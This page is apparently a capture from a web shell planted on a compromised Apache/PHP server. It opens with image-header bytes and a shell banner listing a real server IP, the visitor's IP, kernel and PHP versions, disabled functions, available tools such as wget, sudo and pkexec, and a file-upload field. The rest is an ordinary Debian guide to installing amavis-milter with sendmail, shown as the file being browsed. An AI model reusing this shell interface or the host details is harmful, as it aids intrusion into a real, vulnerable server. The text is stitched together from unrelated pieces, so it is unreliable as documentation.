????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.137.162.63 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/sendmail/examples/amavis/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <HTML> <HEAD> <META NAME="GENERATOR" CONTENT="LinuxDoc-Tools 0.9.10"> <TITLE>How to Install Amavis-milter for Debian Sendmail: Installing and Running Amavis</TITLE> <LINK HREF="amavis-doc-8.html" REL=next> <LINK HREF="amavis-doc-6.html" REL=previous> <LINK HREF="amavis-doc.html#toc7" REL=contents> </HEAD> <BODY> <A HREF="amavis-doc-8.html">Next</A> <A HREF="amavis-doc-6.html">Previous</A> <A HREF="amavis-doc.html#toc7">Contents</A> <HR> <H2><A NAME="s7">7.</A> <A HREF="amavis-doc.html#toc7">Installing and Running Amavis</A></H2> <P>Hopefully we passed the correct options to the Amavis configure script so that when we install it, the Debian file system policy won't be violated. That would be bad karma. Create a user named " amavis"</P> <P>with:</P> <P> <PRE> useradd amavis </PRE> </P> <P>From the amavis-sourcecode-directory type:</P> <P> <PRE> make install </PRE> </P> <P>If everythiny worked, the install script should have</P> <P> <UL> <LI>copied the amavisd perl script to /usr/local/sbin</LI> <LI>copied the amavis-milter binary to /usr/local/sbin</LI> <LI>created the /var/local/amavis directory with owner amavis and mode 2700 or 0700</LI> <LI>created a file named /etc/amavisd.conf</LI> </UL> </P> <P>Now you will need to create an alias in /etc/aliases or /etc/mail/aliases (or wherever you keep your mail aliases) for the " virusalert" email address that Amavis will try and send virus reports to. Generally, this should be the system administrator.</P> <P>Don't forget to rebuild the aliases file by issuing:</P> <P> <PRE> newaliases </PRE> </P> <P>Finally, open up the /etc/mail/sendmail.mc file for editing and insert the following two lines anywhere after the line the begins with " ## Custom configurations" (it is near the bottom):</P> <P> <PRE> define(`_FFR_MILTER', `1')dnl INPUT_MAIL_FILTER(`milter-amavis', `S=local:/var/local/amavis/amavis-milter.sock, T=S:10m;R:10m;E:10m')dnl </PRE> </P> <P>After you close the /etc/mail/sendmail.mc file, start-up amavis-milter and amavisd with the following three commands:</P> <P> <PRE> rm -rf /var/local/amavis/amavis-milter.sock nohup /usr/local/sbin/amavis-milter -p /var/local/amavis/amavis-milter.sock & /usr/local/sbin/amavisd </PRE> </P> <P>Now that Amavis is ready and running, you can fire-up your new sendmail configuration with:</P> <P> <PRE> sendmailconfig </PRE> </P> <P>This command will recreate the /etc/mail/sendmail.cf file from the /etc/mail/sendmail.mc file and reload the sendmail daemon. An alternate approach is to delete the /etc/mail/sendmail.cf file, run " make" in the /etc/mail directory, and restart sendmail with " /etc/init.d/sendmail restart" (or whatever it is that you use).</P> <HR> <A HREF="amavis-doc-8.html">Next</A> <A HREF="amavis-doc-6.html">Previous</A> <A HREF="amavis-doc.html#toc7">Contents</A> </BODY> </HTML>